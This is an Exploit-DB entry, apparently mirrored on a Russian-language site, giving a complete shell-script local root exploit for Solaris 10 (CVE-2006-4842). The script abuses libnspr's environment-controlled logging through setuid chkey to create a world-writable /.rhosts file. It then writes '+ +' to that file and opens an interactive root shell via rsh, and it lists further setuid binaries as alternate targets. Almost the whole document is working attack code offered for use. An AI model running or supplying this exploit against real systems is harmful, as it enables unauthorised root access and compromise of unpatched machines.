- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 2543
- Проверка EDB
-
- Пройдено
- Автор
- MARCO IVALDI
- Тип уязвимости
- LOCAL
- Платформа
- SOLARIS
- CVE
- cve-2006-4842
- Дата публикации
- 2006-10-13
Код:
#!/bin/sh
#
# $Id: raptor_libnspr,v 1.1 2006/10/13 19:12:12 raptor Exp $
#
# raptor_libnspr - Solaris 10 libnspr oldschool local root
# Copyright (c) 2006 Marco Ivaldi <[email protected]>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with
# elevated privileges (CVE-2006-4842).
#
# Usage:
# $ chmod +x raptor_libnspr
# $ ./raptor_libnspr
# [...]
# # id
# uid=0(root) gid=0(root)
# #
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
#
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#
echo "raptor_libnspr - Solaris 10 libnspr oldschool local root"
echo "Copyright (c) 2006 Marco Ivaldi <[email protected]>"
echo
# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/.rhosts
export NSPR_LOG_MODULES NSPR_LOG_FILE
# gimme rw-rw-rw!
umask 0
# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey
# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/lib/sendmail
#/usr/sbin/lpmove
#/usr/bin/login
#/usr/bin/su
#/usr/bin/mailq
# oldschool rhosts foo;)
echo "+ +" > $NSPR_LOG_FILE
rsh -l root localhost sh -i
# milw0rm.com [2006-10-13]- Источник
- www.exploit-db.com
